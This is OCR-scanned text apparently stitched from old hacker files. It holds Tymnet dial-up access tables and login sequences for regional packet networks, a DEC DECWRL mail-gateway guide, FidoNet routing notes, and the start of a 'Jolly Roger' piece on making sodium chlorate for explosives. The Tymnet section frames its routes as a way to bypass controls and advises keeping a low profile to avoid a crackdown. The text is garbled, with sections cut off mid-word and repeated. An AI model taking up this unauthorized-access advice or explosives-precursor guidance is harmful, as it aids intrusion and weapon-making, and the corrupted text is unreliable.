Addendum -- Accessing Tymnet Over Local Packet Networks 
This is just another way to get that extra step and/or bypass other routes. 
This table is copied from Tymnet's on-line information. As said earlier, it's 


a great resource, this on-line information! 


BELL ATLANTIC 


CITY STATE SPEED ACCESS NUMBER NTWK 

DOVER DELAWARE 3006/2400 302/734-9465 @PDN 
GEORGETOWN DELAWARE 300/2400 302/856-7055 @PDN 
NEWARK DELAWARE 300/2400 302/366-0800 @PDN 
WILMINGTON DELAWARE 300/1200 302/428-0030 @PDN 
WILMINGTON DELAWARE 2400 302/655-1144 @PDN 
WASHINGTON DIST. OF COL, 300/1200 202/479-7214 @PDN 
WASHINGTON (MIDTOWN) DIST. OF COL. 2400 202/785-1688 @PDN 
WASHINGTON (DOWNTOWN) DIST. OF COL, 300/1200 202/393-6003 @PDN 
WASHINGTON (MIDTOWN) DIST. OF COL. 300/1200 202/293-4641 @PDN 
WASHINGTON DIST. OF COL. 300/1200 202/546-5549 @PDN 
WASHINGTON DIST, OF COL. 300/1200 202/328-0619 @PDN 
BETHESDA MARYLAND 300/1200 301/986-9942 @PDN 
COLESVILLE MARYLAND 300/2400 301/989-9324 @PDN 
HYATTSVILLE MARYLAND 300/1200 301/779-9935 @PDN 
LAUREL MARYLAND 300/2400 301/490-9971 @PDN 
ROCKVILLE MARYLAND 300/1200 301/340-9903 @PDN 


SILVER SPRING MARYLAND 300/1200 301/495-9911 @PDN 


BERNARDSVILLE NEW JERSEY — 300/2400 201/766-7138 @PDN 


CLINTON NEW JERSEY — 300-1200 201/730-8693 @PDN 

DOVER NEW JERSEY — 300/2400 201/361-9211 @PDN 
EATONTOWN/RED BANK NEW JERSEY — 300/2400 201/758-8000 @PDN 
ELIZABETH NEW JERSEY — 300/2400 201/289-5100 @PDN 
ENGLEWOOD NEW JERSEY = 300/2400 201/871-3000 @PDN 
FREEHOLD NEW JERSEY — 300/2400 201/780-8890 @PDN 
HACKENSACK NEW JERSEY —300/2400 201/343-9200 @PDN 
JERSEY CITY NEW JERSEY — 300/2400 201/659-3800 @PDN 
LIVINGSTON NEW JERSEY —300/2400 201/533-0561 @PDN 

LONG BRANCH/RED BANK NEW JERSEY — 300/2400 201/758-8000 @PDN 
MADISON NEW JERSEY = 300/2400 201/593-0004 @PDN 
METUCHEN NEW JERSEY — 300/2400 201/906-9500 @PDN 
MIDDLETOWN NEW JERSEY — 300/2400 201/957-9000 @PDN 
MORRISTOWN NEW JERSEY = 300/2400 201/455-0437 @PDN 
NEWARK NEW JERSEY — 300/2400 201/623-0083 @PDN 

NEW BRUNSWICK NEW JERSEY 3000/2400 201/247-2700 @PDN 


1 NEW FOUNDLAND NEW JERSEY —300/2400 201/697-9380 @PDN 


PASSAIC NEW JERSEY —300/2400 201/473-6200 @PDN 
PATERSON NEW JERSEY — 300/2400 201/345-7700 @PDN 


0777 
07771 
07771 
0777 
0777 
0777 
0777 
07771 
0777 
07771 


03526 
11301 
11301 
03526 
10672 
10672 
10672 
03526 
03526 
10672 
03526 
03562 
03562 
10672 
10672 
11301 
11301 
10672 
03526 
03526 
03526 
10672 
11301 
10672 
10672 
10672 
03526 
03526 
03562 
03562 
03562 
03562 
03562 


PHILLIPSBURG NEW JERSEY —300/2400 201/454-9270 @PDN 


POMPTON LAKES NEW JERSEY —300/2400 201/835-8400 @PDN 
RED BANK NEW JERSEY — 300/2400 201/758-8000 @PDN 
RIDGEWOOD NEW JERSEY = 300/2400 201/445-4800 @PDN 
SOMERVILLE NEW JERSEY — 3300/2400 201/218-1200 @PDN 
SOUTH RIVER NEW JERSEY — 300/2400 201/390-9100 @PDN 


SPRING LAKE NEW JERSEY — 300/2400 201/974-0850 @PDN 


TOMS RIVER NEW JERSEY — 300/2400 201/286-3800 @PDN 
WASHINGTON NEW JERSEY 3000/2400 201/689-6894 @PDN 
WAYNE/PATERSON NEW JERSEY = 300/2400 201/345-7700 @PDN 


ALLENTOWN PENNSYLVANIA  300/1200 215/435-0266 @PDN 
ALTOONA PENNSYLVANIA  300/1200 814/946-8639 @PDN 
ALTOONA PENNSYLVANIA 2400 814/949-0505 @PDN 
AMBLER PENNSYLVANIA = 300/1200 215/283-2170 @PDN 
AMBRIDGE PENNSYLVANIA  300/1200 412/266-9610 @PDN 
CARNEGIE PENNSYLVANIA — 300/1200 412/276-1882 @PDN 
CHARLEROI PENNSYLVANIA — 300/1200 412/483-9100 @PDN 
CHESTER HEIGHTS PENNSYLVANIA — 300/1200 215/358-0820 @PDN 


COATESVILLE PENNSYLVANIA | 300/1200 215/383-7212 @PDN 
CONNELLSVILLE PENNSYLVANIA 3000/1200 412/628-7560 @PDN 
DOWNINGTON/COATES. PENNSYLVANIA  300/1200 215/383-7212 @PDN 


DOYLESTOWN PENNSYLVANIA  300/1200 215/340-0052 @PDN 
GERMANTOWN PENNSYLVANIA = 300/1200 215-843-4075 @PDN 
GLENSHAW PENNSYLVANIA  300/1200 412/487-6868 @PDN 
GREENSBURG PENNSYLVANIA 300/1200 412/836-7840 @PDN 
HARRISBURG PENNSYLVANIA  300/1200 717/236-3274 @PDN 
HARRISBURG PENNSYLVANIA 2400 717/238-0450 @PDN 
INDIANA PENNSYLVANIA  300/1200 412/465-7210 @PDN 
KING OF PRUSSIA = PENNSYLVANIA = 3300/1200 215/270-2970 @PDN 
KIRKLYN PENNSYLVANIA = 300/1200 215/789-5650 @PDN 
LANSDOWNE PENNSYLVANIA = 300/1200 215/626-9001 @PDN 
LATROBE PENNSYLVANIA  300/1200 412/537-0340 @PDN 
LEMOYNE/HARRISBURG PENNSYLVANIA  300/1200 717/236-3274 @PDN 
MCKEESPORT PENNSYLVANIA — 300/1200 412/673-6200 @PDN 
NEW CASTLE PENNSYLVANIA 300/1200 412/658-5982 @PDN 
NEW KENSINGTON PENNSYLVANIA 300/1200 412/337-0510 @PDN 
NORRISTOWN PENNSYLVANIA — 300/1200 215/270-2970 @PDN 
PAOLI PENNSYLVANIA 300/1200 215/648-0010 @PDN 


PHILADELPHIA PENNSYLVANIA  300/1200 215/923-7792 @PDN 
PHILADELPHIA PENNSYLVANIA = 300/1200 215/557-0659 @PDN 
PHILADELPHIA PENNSYLVANIA  300/1200 215/545-7886 @PDN 
PHILADELPHIA PENNSYLVANIA  300/1200 215/677-0321 @PDN 
PHILADELPHIA PENNSYLVANIA 2400 215/625-0770 @PDN 


10672 
10672 
10672 
10672 
03526 
03526 
10672 
03526 
03526 
10672 
03526 
10672 
03562 
10672 
03526 
10672 


06254 
06254 
06254 
06254 


PITTSBURGH PENNSYLVANIA  300/1200 412/281-8950 @PDN 
PITTSBURGH PENNSYLVANIA  300/1200 412-687-4131 @PDN 
PITTSBURGH PENNSYLVANIA 2400 412/261-9732 @PDN 
POTTSTOWN PENNSYLVANIA 3600/1200 215/327-8032 @PDN 
QUAKERTOWN PENNSYLVANIA  300/1200 215/538-7032 @PDN 
READING PENNSYLVANIA  300/1200 215/375-7570 @PDN 
ROCHESTER PENNSYLVANIA  300/1200 412/728-9770 @PDN 
SCRANTON PENNSYLVANIA  300/1200 717/348-1123 @PDN 
SCRANTON PENNSYLVANIA 2400 717/341-1860 @PDN 
SHARON PENNSYLVANIA  300/1200 412/342-1681 @PDN 
TULLYTOWN PENNSYLVANIA  300/1200 215/547-3300 @PDN 
UNIONTOWN PENNSYLVANIA  300/1200 412/437-5640 @PDN 
VALLEY FORGE PENNSYLVANIA  300/1200 215/270-2970 @PDN 
WASHINGTON PENNSYLVANIA = 300/1200 412/223-9090 @PDN 
WAYNE PENNSYLVANIA  300/1200 215/341-9605 @PDN 
WILKINSBURG PENNSYLVANIA  300/1200 412/241-1006 @PDN 
ALEXANDRIA VIRGINIA 300/1200 703/683-6710 @PDN 
ARLINGTON VIRGINIA 300/1200 703/524-8961 @PDN 
FAIRFAX VIRGINIA 300/1200 703/385-1343 @PDN 
MCLEAN VIRGINIA 300/1200 703/848-2941 @PDN 


@PDN BELL ATLANTIC - NETWORK NAME IS PUBLIC DATA NETWORK (PDN) 


(CONNECT MESSAGE) 
eee ERE S (SYNCHRONIZES DATA SPEEDS) 


WELCOME TO THE BPA/DST PDN 


TT -< ORS. (TYMNET ADDRESS) 
131069 (ADDRESS CONFIRMATION - TYMNET DNIC) 
COM (CONFIRMATION OF CALL SET-UP) 


-GWY OXXXX- TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES) 


BELL SOUTH 


NODE CITY STATE DENSITY ACCESS NUMBER MODEM 


10207 ATLANTA GEORGIA 300/1200 404/261-4633 @PLSK 


10207 ATHENS GEORGIA 300/1200 404/354-0614 @PLSK 
10207 COLUMBUS GEORGIA 300/1200 404/324-5771 @PLSK 
10207 ROME GEORGIA 300/1200 404/234/7542 @PLSK 


@PLSK BELLSOUTH - NETWORK NAME IS PULSELINK 


(CONNECT MESSAGE) 
<CR> (SYNCHRONIZES DATA SPEEDS) 
(DOES NOT ECHO TO THE TERMINAL) 
CONNECTED 
PULSELINK 
13.1.0 6 (TYMNET ADDRESS) 


(DOES NOT ECHO TO THE TERMINAL) 
PULSELINK: CALL CONNECTED TO 1 3106 


-GWY OXXXX- TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES) 


PACIFIC BELL 
NODE CITY STATE DENSITY ACCESS NUMBER NTWK 
03306 BERKELEY CALIFORNIA — 300/1200 415-548-2121 @PPS 
06272 EL SEGUNDO CALIFORNIA — 300/1200 213-640-8548 @PPS 
06272 FULLERTON CALIFORNIA — 300/1200 714-441-2777 @PPS 
06272 INGLEWOOD CALIFORNIA — 300/1200 213-216-7667 @PPS 


06272 LOS ANGELES(DOWNTOWN) CALIFORNIA — 300/1200 213-687-3727 @PPS 
06272 LOS ANGELES CALIFORNIA — 300/1200 213-480-1677 @PPS 
03306 MOUNTAIN VIEW CALIFORNIA — 300/1200 415-960-3363 @PPS 


03306 OAKLAND CALIFORNIA — 300/1200 415-893-9889 @PPS 
03306 PALO ALTO CALIFORNIA — 300/1200 415-325-4666 @PPS 
06272 PASADENA CALIFORNIA — 300/1200 818-356-0780 @PPS 


03306 SAN FRANCISCO CALIFORNIA — 300/1200 415-543-8275 @PPS 
03306 SAN FRANCISCO CALIFORNIA — 300/1200 415-626-5380 @PPS 
03306 SAN FRANCISCO CALIFORNIA — 300/1200 415-362-2280 @PPS 
03306 SAN JOSE CALIFORNIA — 300/1200 408-920-0888 @PPS 
06272 SANTA ANNA CALIFORNIA — 300/1200 714-972-9844 @PPS 
06272 VAN NUYS CALIFORNIA — 300/1200 818-780-1066 @PPS 


@PPS PACIFIC BELL - NETWORK NAME IS PUBLIC PACKET SWITCHING (PPS) 
(CONNECT MESSAGE) 


<_C_R_ (SYNCHRONIZES DATA SPEEDS)> 


(DOES NOT ECHO TO THE TERMINAL) 


ONLINE 1200 ' 
WELCOME TO PPS: 415-XXX-XXXX 
1.3.1.0 6.9 (TYMNET ADDRESS) 


(DOES NOT ECHO UNTIL TYMNET RESPONDS) 
-GWY OXXXX- TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES) 


SOUTHWESTERN BELL 


NODE CITY STATE DENSITY ACCESS NUMBERS NWRK 
05443 KANSAS CITY KANSAS 300/1200 316/225-9951 @MRLK 
05443 HAYS KANSAS 300/1200 913/625-8100 @MRLK 
05443 HUTCHINSON KANSAS 300/1200 316/669-1052 @MRLK 
05443 LAWRENCE KANSAS 300/1200 913/841-5580 @MRLK 
05443, MANHATTAN KANSAS 300/1200 913/539-9291 @MRLK 
05443, PARSONS KANSAS 300/1200 316/421-0620 @MRLK 
05443 SALINA KANSAS 300/1200 913/825-4547 @MRLK 
05443 TOPEKA KANSAS 300/1200 913/235-1909 @MRLK 
05443, WICHITA KANSAS 300/1200 316/269-1996 @MRLK 


04766 BRIDGETON/ST, LOUIS MISSOURI 300/1200 314/622-0900 @MRLK 
04766 ST. LOUIS MISSOURI 300/1200 314/622-0900 @MRLK 


06510 ADA OKLAHOMA 300/1200 405/4 


On a side note, the recent book The Cuckoo's Egg provides some interesting 
information (in the form of a story, however) on a Tymnet hacker. Remember 
that he was into BIG things, and hence he was cracked down upon. If you keep a 
low profile, networks should provide a good access method. 


If you can find a system that is connected to the Internet that you can get on 
from Tymnet, you are doing well. 
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INTRODUCTION 


DECWRL is a mail gateway computer operated by Digital’s Western Research 
Laboratory in Palo Alto, California. Its purpose is to support the interchange 
of electronic mail between Digital and the "outside world.” 


DECWRL is connected to Digital's Easynet, and also to a number of different 
outside electronic mail networks. Digital users can send outside mail by 

sending to DECWRL::"outside-address", and digital users can also receive mail 

by having your correspondents route it through DECWRL. The details of incoming 
mail are more complex, and are discussed below. 


It is vitally important that Digital employees be good citizens of the networks 

to which we are connected. They depend on the integrity of our user community 
to ensure that tighter controls over the use of the gateway are not required. 

The most important rule is "no chain letters," but there are other rules 

depending on whether the connected network that you are using is commercial or 
non-commercial. 


The current traffic volume (September 1989) is about 10,000 mail messages per 

day and about 3,000 USENET messages per day. Gatewayed mail traffic has 
doubled every year since 1983. DECWRL is currently a Vax 8530 computer with 48 
megabytes of main memory, 2500 megabytes of disk space, 8 9600-baud (Telebit) 
modem ports, and various network connections. They will shortly be upgrading 

to a Vax 8650 system. They run Ultrix 3.0 as the base operating system. 


ADMINISTRATION 


The gateway has engineering staff, but no administrative or clerical staff. 


They work hard to keep it running, but they do not have the resources to answer 
telephone queries or provide tutorials in its use. 


They post periodic status reports to the USENET newsgroup dec.general. Various 
helpful people usually copy these reports to the VAXNOTES "gateways" conference 
within a day or two. 


HOW TO SEND MAIL 


DECWRL is connected to quite a number of different mail networks. If you were 
logged on directly to it, you could type addresses directly, e.g. 


To: strange! foreign!address. 


But since you are not logged on directly to the gateway, you must send mail so 
that when it arrives at the gateway, it will be sent as if that address had 
been typed locally. 


* Sending from VMS 


If you are a VMS user, you should use NMAIL, because VMS mail does not know how 
to requeue and retry mail when the network is congested or disconnected. From 
VMS, address your mail like this: 


To: nm%DECWRL::"strange! foreign!address” 


The quote characters (") are important, to make sure that VMS doesn't try to 
interpret strange! foreign!address itself. If you are typing such an address 

inside a mail program, it will work as advertised. If you are using DCL and 
typing directly to the command line, you should beware that DCL likes to remove 
quotes, so you will have to enclose the entire address in quotes, and then put 

two quotes in every place that one quote should appear in the address: 


$ mail test.msg "nm%DECWRL::""foreigniaddr""" /subj="hello” 
Note the three quotes in a row after foreigniaddr. The first two of them are 
doubled to produce a single quote in the address, and the third ends the 
address itself (balancing the quote in front of the nm%). 


cere are some typical outgoing mail addresses as used from a VMS system: 


To: nm%DECWRL::"Ill-winkin!netsys! phrack” 
To: nm%DECWRL::"postmaster@msp.pnet.sc.edu" 


To: nm%DECWRL::"netsys!phrack@uunet.uu.net” 
To: nm%DECWRL::"phrackserv@CUN Y VM .bitnet” 
To: nm%DECWRL::" Chris. Jones@f654.n987.z1.fidonet.org" 


* Sending from Ultrix 


If your Ultrix system has been configured for it, then you can, from your 
Ultrix system, just send directly to the foreign address, and the mail! software 
will take care of all of the gateway routing for you. Most Ultrix systems in 
Corporate Research and in the Palo Alto cluster are configured this way. 


To find out whether your Ultrix system has been so configured, just try it and 
see what happens. If it doesn't work, you will receive notification almost 
instantly. 


NOTE: The Ultrix mail system is extremely flexible; it is almost 
completely configurable by the customer. While this is valuable to 
customers, it makes it very difficult to write global instructions for 

the use of Ultrix mailers, because it is possible that the local changes 

have produced something quite unlike the vendor-delivered mailer. One of 
the popular changes is to tinker with the meaning of quote characters (”) 

in Ultrix addresses. Some systems consider that these two addresses are 
the same: 


sitel!site2!user@host.dec.com 
and 
"site| !site2!user"@host.dec.com 
while others are configured so that one form will work and the other 
will not. All of these examples use the quotes. If you have trouble 
getting the examples to work, please try them again without the quotes. 
Perhaps your Ultrix system is interpreting the quotes differently. 
If your Ultrix system has an IP link to Palo Alto (type "/ete/ping 
decwrl.dec.com" to find out if it does), then you can route your mail to the 
gateway via IP. This has the advantage that your Ultrix mail headers will 
reach the gateway directly, instead of being translated into DECNET mail 
headers and then back into Ultrix at the other end. Do this as follows: 


To: "alienladdress"@decwrl.dec.com 


The quotes are necessary only if the alien address contains a ! character, but 


they don't hurt if you use them unnecessarily. Ifthe alien address contains 
an "@" character, you will need to change it into a "%" character. For 
example, to send via IP to joe@widget.org, you should address the mail 


To: "joeYowidget.org"@decwrl.dec.com 


If your Ultrix system has only a DECNET link to Palo Alto, then you should 
address mail in much the same way that VMS users do, save that you should not 
put the nm% in front of the address: 


To: DECWRL::"strange! foreign!address” 


Here are some typical outgoing mail addresses as used from an Ultrix system 
that has IP access. Ultrix systems without IP access should use the same 
syntax as VMS users, except that the nm% at the front of the address should not 
be used, 


To: "Il-winken!netsys!phrack"@decwrl.dec.com 

To: "postmasterY%omsp.pnet.sc.edu"@deewrl.dec.com 

To: "phrackserv%CUNY VM. bitnet"@decwrl.dec.com 

To: "netsys!phrack%uunet.uu.net"@decwrl.dec.com 

To: "Chris Jones@f654.n987.z1 fidonet.org"@deewrl.dec.com 


DETAILS OF USING OTHER NETWORKS 


All of the world's computer networks are connected together, more or less, so 
it is hard to draw exact boundaries between them. Precisely where the Internet 
ends and UUCP begins is a matter of interpretation. 


For purposes of sending mail, though, it is convenient to divide the network 
universe into these categories: 


Easynet Digital's internal DECNET network. Characterized by addresses 
of the form NODE::USER. Easynet can be used for commercial 
purposes. 


Internet A collection of networks including the old ARPAnet, the NSFnet, 
the CSnet, and others. Most international research, 
development, and educational organizations are connected in 
some fashion to the Internet. Characterized by addresses of 
the form user@site.subdomain.domain. The Internet itself 
cannot be used for commercial purposes. 


UUCP A very primitive network with no management, built with 


auto-dialers phoning one computer from another. Characterized 
by addresses of the form placel!place2!user. The UUCP network 
can be used for commercial purposes provided that none of the 
sites through which the message is routed objects to that. 


USENET Not a network at all, but a layer of software built on top of 
UUCP and Internet. 


BITNET An IBM-based network linking primarily educational sites. 
Digital users can send to BITNET as if it were part of 
Internet, but BITNET users need special instructions for 
reversing the process. BITNET cannot be used for commercial 
purposes. 


Fidonet A network of personal computers. I am unsure of the status of 
using Fidonet for commercial purposes, nor am I sure of its 
efficacy. 


DOMAINS AND DOMAIN ADDRESSING 


There is a particular network called "the Internet;” it is somewhat related to 
what used to be "the ARPAnet." The Internet style of addressing is flexible 
enough that people use it for addressing other networks as well, with the 

result that it is quite difficult to look at an address and tell just what 

network it is likely to traverse. But the phrase "Internet address" does not 
mean "mail address of some computer on the Internet" but rather "mail address 
in the style used by the Internet." Terminology is even further confused 
because the word "address" means one thing to people who build networks and 
something entirely different to people who use them. In this file an “address” 
is something like "mike@decwrl.dec.com” and not "192.1.24.177" (which is what 
network engineers would call an “internet address"). 


The Internet naming scheme uses hierarchical domains, which despite their title 

are just a bookkeeping trick. It doesn't really matter whether you say 

NODE::USER or USER@NODE, but what happens when you connect two companies! 
networks together and they both have anode ANCHOR?? You must, somehow, 

specify which ANCHOR you mean. You could say ANCHOR.DEC::USER or 
DEC.ANCHOR:: USER or USER@ANCHOR.DEC or USER@DEC.ANCHOR. The Internet 
convention is to say USER@ANCHOR.DEC, with the owner (DEC) after the name 
(ANCHOR). 


But there could be several different organizations named DEC. You could have 
Digital Equipment Corporation or Down East College or Disabled Education 
Committee. The technique that the Internet scheme uses to resolve conflicts 


like this is to have hierarchical domains. A normal domain isn't DEC or 

STANFORD, but DEC.COM (commercial) and STANFORD.EDU (educational). These 
domains can be further divided into ZK3.DEC.COM or CS.STANFORD.EDU. This 
doesn't resolve conflicts completely, though: both Central Michigan University 

and Carnegie-Mellon University could claim to be CMU.EDU. The rule is that the 
owner of the EDU domain gets to decide, just as the owner of the CMU.EDU gets 

to decide whether the Electrical Engineering department or the Elementary 

Education department gets subdomain EE.CMU.EDU. 


The domain scheme, while not perfect, is completely extensible. If you have 
two addresses that can potentially conflict, you can suffix some domain to the 
end of them, thereby making, say, decwrl. UUCP be somehow different from 
DECWRL.ENET. 


DECWRL's entire mail system is organized according to Internet domains, and in 

fact we handle all mail internally as if it were Internet mail. Incoming mail 

is converted into Internet mail, and then routed to the appropriate domain; if 

that domain requires some conversion, then the mail is converted to the 

requirements of the outbound domain as it passes through the gateway. For 

example, they put Easynet mail into the domain ENE STATE DENSITY ACCESS 
NUMBER NTWK 


03306 BERKELEY CALIFORNIA — 300/1200 415-548-2121 @PPS 
06272 EL SEGUNDO CALIFORNIA — 300/1200 213-640-8548 @PPS 
06272 FULLERTON CALIFORNIA = 300/1200 714-441-2777 @PPS 
06272 INGLEWOOD CALIFORNIA — 300/1200 213-216-7667 @PPS 


06272 LOS ANGELES(DOWNTOWN) CALIFORNIA — 300/1200 213-687-3727 @PPS 
06272 LOS ANGELES CALIFORNIA — 300/1200 213-480-1677 @PPS 
03306 MOUNTAIN VIEW CALIFORNIA — 300/1200 415-960-3363 @PPS 


03306 OAKLAND CALIFORNIA — 300/1200 415-893-9889 @PPS 
03306 PALO ALTO CALIFORNIA — 300/1200 415-325-4666 @PPS 
06272 PASADENA CALIFORNIA — 300/1200 818-356-0780 @PPS 


03306 SAN FRANCISCO CALIFORNIA — 300/1200 415-543-8275 @PPS 
03306 SAN FRANCISCO CALIFORNIA — 300/1200 415-626-5380 @PPS 
03306 SAN FRANCISCO CALIFORNIA — 300/1200 415-362-2280 @PPS 


03306 SAN JOSE CALIFORNIA — 300/1200 408-920-0888 @PPS 
06272 SANTA ANNA CALIFORNIA — 300/1200 714-972-9844 @PPS 
06272 VAN NUYS CALIFORNIA — 300/1200 818-780-1066 @PPS 


@PPS_ PACIFIC BELL - NETWORK NAME IS PUBLIC PACKET SWITCHING (PPS) 
(CONNECT MESSAGE) 


2 ERY (SYNCHRONIZES DATA SPEEDS)> 


(DOES NOT ECHO TO THE TERMINAL) 


ONLINE 1200 
WELCOME TO PPS: 415-XXX-XXXX 
1.3.1.0 6.9 (TYMNET ADDRESS) 


(DOES NOT ECHO UNTIL TYMNET RESPONDS) 


-GWY 0XXXX- TYMNET: PLEASE LOG IN: (HOST # WITHIN DASHES) 


SOUTHWESTERN BELL 
NODE CITY STATE DENSITY ACCESS NUMBERS NWRK 
05443. KANSAS CITY KANSAS 300/1200 316/225-9951 @MRLK 
05443 HAYS KANSAS 300/1200 913/625-8100 @MRLK 
05443 HUTCHINSON KANSAS 300/1200 316/669-1052 @MRLK 
05443, LAWRENCE KANSAS 300/1200 913/841-5580 @MRLK 
05443. MANHATTAN KANSAS 300/1200 913/539-9291 @MRLK 
05443 PARSONS KANSAS 300/1200 316/421-0620 @MRLK 
05443, SALINA KANSAS 300/1200 913/825-4547 @MRLK 
05443 TOPEKA KANSAS 300/1200 913/235-1909 @MRLK 
05443 WICHITA KANSAS 300/1200 316/269-1996 @MRLK 


04766 BRIDGETON/ST. LOUIS MISSOURI 300/1200 314/622-0900 @MRLK. 


04766 ST, LOUIS MISSOURI 300/1200 314/622-0900 @MRLK 

06510 ADA OKLAHOMA 300/1200 405/436-0252 @MRLK 

06510 ALTUS OKLAHOMA 300/1200 405/477-0321 @MRLK 
06510 ALVA OKLAHOMA 300/1200 405/327-1441 @MRLK 
06510 ARDMORE OKLAHOMA 300/1200 405/223-8086 @MRLK 
03167 BARTLESVILLE OKLAHOMA 300/1200 918/336-6901 @MRLK 
06510 CLINTON OKLAHOMA 300/1200 405/323-8102 @MRLK 
06510 DURANT OKLAHOMA 300/1200 405/924-2680 @MRLK 
06510 ENID OKLAHOMA 300/1200 405/242-8221 @MRLK 

06510 LAWTON OKLAHOMA 300/1200 405/248-8772 @MRLK 
03167 MCALESTER OKLAHOMA 300/1200 918/426-0900 @MRLK 
03167 MIAMI OKLAHOMA 300/1200 918/540-1551 @MRLK 
03167 MUSKOGEE OKLAHOMA 300/1200 918/683-1114 @MRLK 
06510 OKLAHOMA CITY OKLAHOMA 300/1200 405/236-0660 @MRLK 
06510 PONCA CITY OKLAHOMA 300/1200 405/762-9926 @MRLK 
03167 SALLISAW OKLAHOMA 300/1200 918/775-7713, @MRLK 
06510 SHAWNEE OKLAHOMA 300/1200 405/273-0053 @MRLK 


06510 STILLWATER OKLAHOMA 300/1200 405/377-5500 @MRLK 


03167 TULSA OKLAHOMA 300/1200 918/583-6606 @MRLK 
06510 WOODWARD OKLAHOMA 300/1200 405/256-9947 @MRLK 


@MRLK - SOUTH WESTERN BELL TELEPHONE- NETWORK NAME IS MICROLINK H(R) 


(CONNECT MESSAGE) 
(PLEASE TYPE YOUR TERMINAL IDENTIFIER) 


A. (YOUR TERMINAL IDENTIFIER) 
WELCOME TO MICROLINK II 

-XXXX:01-030- 

PLEASE LOG IN: 

T<CR>_ (USERNAME TO ACCESS TYMNET) 
HOST: CALL CONNECTED 


-GWY OXXXX- TYMNET: PLEASE LOG IN: 


SOUTHERN NEW ENGLAND 
NODE CITY STATE DENSITY ACCESS NUMBERS NWRK 
02727 BRIDGEPORT CONNECTICUT — 300/2400 203/366-6972. @CONNNET 
02727 BRISTOL CONNECTICUT — 300/2400 203/589-5100 @CONNNET 
02727 CANAAN CONNECTICUT — 300/2400 203/824-5103 @CONNNET 
02727 CLINTON CONNECTICUT — 300/2400 203/669-4243 @CONNNET 
02727 DANBURY CONNECTICUT — 300/2400 203/743-2906 @CONNNET 
02727 DANIELSON CONNECTICUT — 300/2400 203/779-1880 @CONNNET 
02727. HARTFORD/MIDDLETOWN CONNECTICUT 300/2400 203/724-6219 
@CONNNET 
02727 MERIDEN CONNECTICUT — 300/2400 203/237-3460 @CONNNET 
02727 NEW HAVEN CONNECTICUT — 300/2400 203/776-1142. @CONNNET 
02727 NEW LONDON CONNECTICUT — 300/2400 203/443-0884 @CONNNET 
02727 NEW MILFORD CONNECTICUT — 300/2400 203/355-0764. @CONNNET 
02727 NORWALK CONNECTICUT — 300/2400 203/866-5305 @CONNNET 


02727 OLD GREDDWICH CONNNETICUT — 300/2400 203/637-8872 @CONNNET 
02727 OLD SAYBROOK CONNECTICUT — 300/2400 203/388-0778 @CONNNET 
02727 SEYMOUR CONNECTICUT — 300/2400 203/881-1455 @CONNNET 
02727 STAMFORD CONNECTICUT — 300/2400 203/324-9701 @CONNNET 


02727 STORRS CONNECTICUT — 300/2400 203/429-4243 @CONNNET 


02727 TORRINGTON CONNECTICUT — 300/2400 203/482-9849 @CONNNET 
02727 WATERBURY CONNECTICUT — 300/2400 203/597-0064 @CONNNET 
02727 WILLIMANTIC CONNECTICUT — 300/2400 203/456-4552 @CONNNET 
02727 WINDSOR CONNECTICUT — 300/2400 203/688-9330 @CONNNET 


02727 WINDSOR LCKS/ENFIELD CONNECTICUT — 300/2400 203/623-9804 @CONNNET 


@CONNNET - SOUTHERN NEW ENGLAND TELEPHONE - NETWORK NAME IN 
CONNNET 


(CONNECT MESSAGE) 


H_H_<_C_R> (SYNCHRONIZES DATA SPEEDS) 
(DOES NOT ECHO TO THE TERMINAL) 
CONNNET 


__T_<_C_R>_ | (MUST BE CAPITAL LETTERS) 


26-SEP-88 18:33 (DATA) 
031069 (ADDRESS CONFIRMATION) 
COM (CONFIRMATION OF CALL SET-UP) 


-GWY OXXXX-TYMNET: PLEASE LOG IN: 


On a side note, the recent book The Cuckoo's Egg provides some interesting 
information (in the form of a story, however) on a Tymnet hacker. Remember 
that he was into BIG things, and hence he was cracked down upon. If you keep a 
low profile, networks should provide a good access method. 


If you can find a system that is connected to the Internet that you can get on 
from Tymnet, you are doing well. 


Username@f<node #>.n<net #>.z<zone #>.ifna.org 


In other words, if | wanted to mail to Silicon Swindler at 1:135/5, the address 

would be Silicon_Swindler@f5.n135.z1.ifna.org and, provided that your mailer 
knows the .ifna.org domain, it should get through alright. Apparently, as of 

the writing of this article, they have implemented a new gateway name called 
fidonet.org which should work in place of ifna.org in all routings. If your 

mailer does not know either of these domains, use the above routing but replace 

the first "@" with a "%" and then afterwards, use either of the following 

mailers after the "@": CS.ORST.EDU or K9.CS.ORST.EDU (i.e. username%f<node 


#>.n<net #>.z<zone #> fidonet.org@CS.ORST.EDU [or replace CS.ORST.EDU with 
K9.CS.ORST.EDU)). 


The following is a list compiled by Bill Fenner (WCF@PSUECL.BITNET) that was 
posted on INFONETS DIGEST which lists a number of FIDONET gateways: 


Net Node Node Name 


104. 56 milehi.ifna.org 
105 55  casper.ifna.org 
07 320 rubbs.ifna.org 

09 661 — blkcat.ifna.org 
125 406  fidogate.ifna.org 
128 19 — hipshk.ifna.org 
29 65  insight.ifna.org 
143. N/A  fidogate.ifna.org 
152 200  castle.ifna.org 
161 N/A _ fidogate.ifna.org 
369 17  megasys.ifna.org 


NOTE: The UUCP equivalent node name is the first part of the node name. In 
other words, the UUCP node milehi is listed as milehi.ifna.org but can 
be mailed directly over the UUCP network. 


Another way to mail to FIDONET, specifically for Internet people, is in this 
format: 


ihnp4!necntc!ncoast!ohiont!<net #>!<node #>!user_name@husc6.harvard.edu 


And for those UUCP mailing people out there, just use the path described and 
ignore the @huscS.harvard.edu portion. There is a FIDONET NODELIST available on 
most any FIDONET bulletin board, but it is quite large. 


ONTYME 

Previously known as Tymnet, OnTyme is the McDonnell] Douglas revision. After 
they bought out Tymnet, they renamed the company and opened an experimental 
Internet gateway at ONT YME.TYMNET.COM but this is supposedly only good for 
certain corporate addresses within McDonnell Douglas and Tymnet, not their 
customers. The userid format is xx.yyy or xx.y/yy where xx is a net name and 

yyy (or y/yy) is a true username. If you cannot directly nail this, try: 


xx.yyy%ONTYME.TYM 
Sodium Chlorate by the Jolly Roger 


Sodium Chlorate is a strong oxidizer used in the manufacture of 
explosives. It can be used in place of Potassium Chlorate. 


Material Required Sources 


2 carbon or lead rods (J in. diameter Dry Cell Batteries 
by 5 in. long) (2-1/2 in. diameter by 

7" long) or plumbing 

supply store 


Salt, or ocean water Grocery store or ocean 
Sulfuric acid, diluted Motor Vehicle Batteries 
Motor Vehicle 

Water 


